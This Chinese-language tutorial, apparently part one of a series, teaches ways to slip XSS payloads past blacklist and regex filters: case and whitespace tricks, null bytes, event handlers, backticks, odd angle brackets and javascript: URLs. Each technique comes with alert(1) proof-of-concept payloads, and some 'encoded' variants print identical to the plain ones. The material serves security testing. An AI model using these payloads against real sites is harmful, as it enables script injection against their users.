导语:在如今的web时代,XSS攻击十分常见,针对xss攻击的防御也有不少,Filter就是一种用来防御xss攻击的最常见的手段,filter通常是采用黑名单的形式或者基于正则表达式来过滤。尽管如此,依然有很多技术可以用来绕过Filter。
在如今的web时代,XSS攻击十分常见,针对xss攻击的防御也有不少,Filter就是一种用来防御xss攻击的最常见的手段,filter通常是采用黑名单的形式或者基于正则表达式来过滤。尽管如此,依然有很多技术可以用来绕过Filter。
基本变形
我们可以先从绕过相对简单的filter开始。根据Filter过滤规则复杂度的不同,绕过的难易程度肯定也不同,这些简单的过滤器还是比较容易绕过的,只要做一些基本的变形即可。
我们用到的大部分技术都是测试XSS漏洞的最简单的payload的变形,就像下面的代码一样。
<script>alert(1)</script>
如果测试的参数存在xss,就会弹框显示1.
Filter肯定会过滤这个payload,不过有时候,我们只要对payload进行一些简单的修改,就能绕过默认的最基础的filter。比如可以尝试在开始的script标签中插入一个空格或者是tab,如下所示:
<script >alert(1)</script>
<script >alert(1)</script>
当然,也可以通过对tab,换行,回车进行编码来绕过,如下所示:
<script	>alert(1)</script> <script
>alert(1)</script> <script
>alert(1)</script>
对标签进行大小写也有可能骗过filter,如下:
<ScRipT>alert(1)</sCriPt>
还有一种方法非常有效,而且通常都能够成功绕过,那就是插入null字节。在xss payload的任何地方插入null字节,有时候可以绕过filter,如下所示:
<%00script>alert(1)</script> <script>al%00ert(1)</script>
属性和标签
HTML属性提供了页面上元素的更多信息。当我们查找XSS漏洞时,通常可以利用这些属性来引入script标签,从而确认是否存在xss。例如,我们以input元素为例,包含一个value的属性,如下:
<input type="text" name="input" value="hello">
我们可以闭合value属性的双引号从而闭合input标签来插入我们的XSS payload,如下:
<input type="text" name="input" value=""><script>alert(1)</script>
有时候即使使用任意的标签名也可以绕过filter,如下:
<randomtag type="text" name="input" value="><script>alert(1)</script>
跟上面的类似,我们也可以替换标签名和第一个属性之间空格来测试,如下:
<input/type="text" name="input" value="><script>alert(1)</script> <input	type="text" name="input" value="><script>alert(1)</script> <input
type="text" name="input" value="><script>alert(1)</script> <input
type="text" name="input" value="><script>alert(1)</script> <input/'type="text" name="input" value="><script>alert(1)</script>
改变标签名大小写,有时候也会有效果,如下:
<iNpUt type="text" name="input" value="><script>alert(1)</script>
null字节的小技巧对标签名同样有效,我们可以尝试在不同的位置插入null字节,如下:
<%00input type="text" name="input" value="><script>alert(1)</script> <inp%00ut type="text" name="input" value="><script>alert(1)</script>
这对属性名和属性值也同样适用,如下:
<input t%00ype="text" name="input" value="><script>alert(1)</script> <input type="text" name="input" value="><script>a%00lert(1)</script>
事件处理器(Event Handlers)
HTML语言也包含了事件,事件就是页面上元素发生的动作。事件处理器就是实现该动作的方法,通常是借助JavaScript。事件可以由浏览器或者用户自己发起,比如下面这些例子都是事件,单击按钮,页面加载或者是抛出错误。
现在我们还是以上面的input标签为例,我们尝试向input标签插入一个包含xss payload的事件,我们可以选择任何合适的事件处理器(这里我们选择onsubmit)来构造payload。如果存在xss漏洞,那么下面的代码,将会在表单被提交时触发弹框,如下:
<input onsubmit=alert(1)>
根据不同类型的filter,还有很多其他的事件处理器来探测xss漏洞。大部分甚至都不需要用户交互,所以测试时使用这些事件处理器就最好不过了,如下:
<object onerror=alert(1)> <body onactivate=alert(1)> <body onfocusin=alert(1)> <script onreadystatechange=alert(1)> <input autofocus onfocus=alert(1)>
HTML5还引入了一些关于事件处理器的新的攻击因素。比如audio,video和SVG等都可以用来触发xss,如下:
<audio src="new.mp3" onerror=alert(1)> <video src="new.mp4" onerror=alert(1)> <svg width="200" height="100" onload=alert(1)>
新的标准也允许在结束标签内使用事件处理器,如下:
</a onfocus=alert(1)>
分隔符和括号
分隔符是用于分隔文本字符串或者其他数据流的一个或多个字符。在挖xss漏洞时,巧妙的使用分隔符非常有效。在HTML中,我们经常使用空格来分隔属性和它的值。还有的时候,只要使用一个单引号或者双引号作为分隔符就可以绕过filter了,如下:
<img onerror="alert(1)"src=x> <img onerror='alert(1)'src=x>
对分隔符进行编码也可以用来绕过防御,如下:
<img onerror="alert(1)"src=x> <img onerror='alert(1)'src=x>
重音符或者是反引号也是绕过filter的一种不错的技巧,如下:
<img onerror=`alert(1)`src=x>
编码版本如下:
<img onerror=`alert(1)`src=x>
Filter有时候会过滤某些关键词,比如以“on”开头的事件处理器,以此来防御此类xss攻击。
如果我们把属性的位置换到前面,filter无法识别反引号,会将它视为不是以“on”开头的单独的属性,这样也就可以有效绕过filter了,如下:
<img src=`x`onerror=alert(1)>
跟分隔符一样,尖括号也可以利用来绕过filter。在某些情况下,filter仅仅只会查找开始括号和闭合括号,然后将尖括号里面的内容与恶意标签黑名单比较。通过使用多个尖括号,有时候可以骗过filter接受后面的代码。再使用双斜线注释掉后面的闭合标签,所以也不会报错,如下:
<<script>alert(1)//<</script>
绕过filter之后就变成了下面这样:
<script>alert(1)</script>
还有时候在结束的地方使用开尖括号也有可能绕过filter,如下:
<input onsubmit=alert(1)<
在某些情况下,应用程序会将不常见的字符转为最为接近的字符,基于它们之间相似的特征。比如,我们可以使用双角引号来替换传统的开始尖括号和结束尖括号,应用程序在执行时可能会将它们转化成正确的括号,这样就可以接收有效的输入值而绕过filter了,如下:
«input onsubmit=alert(1)»
当然,跟前面一样,编码也是有效的,如下:
®input onsubmit=alert(1)¯
伪协议
浏览器可以接受内联的JavaScript代码出现在URL中或者是出现在任何值为URL的属性中。
VBScript是一种基于Visual Basic的脚本语言,在老版本的IE中,也曾经使用过这种伪协议的攻击方式。这些伪协议为我们提供了额外的xss攻击方法。
例如,我们来看一下href这个属性,该HTML属性指定一个URL链接地址,通常是为某些文本增加超链接,如下:
<a href="https://www.google.com">Click Here</a>
我们可以通过JavaScript伪协议来注入代码并触发xss漏洞,如下:
<a href="javascript:alert(1)">Click Here</a>
其他值为URL的属性也都可以加以利用。(请注意一点:虽然属性值添加双引号是推荐的做法,但是并不一定非要双引号),如下:
<img src=javascript:alert(1)> <form action=javascript:alert(1)> <object data=javascript:alert(1)> <button formaction=javascript:alert(1)> <video src=javascript:alert(1)>
敬请期待更多filter绕过技巧
本文到现在为止,我们已经探讨了多种绕过filter的方法,从插入空格,改变大小写的基本变形,到注入属性和事件处理器来欺骗filter接受非正常的字符比如反引号和双角尖括号等。接下来我们将深入讲解更多关于JavaScript的技巧来绕过filter,还有关于绕过输入过滤和长度限制的技巧。
不要走开,马上回来:绕过xss filter的高级技术part2。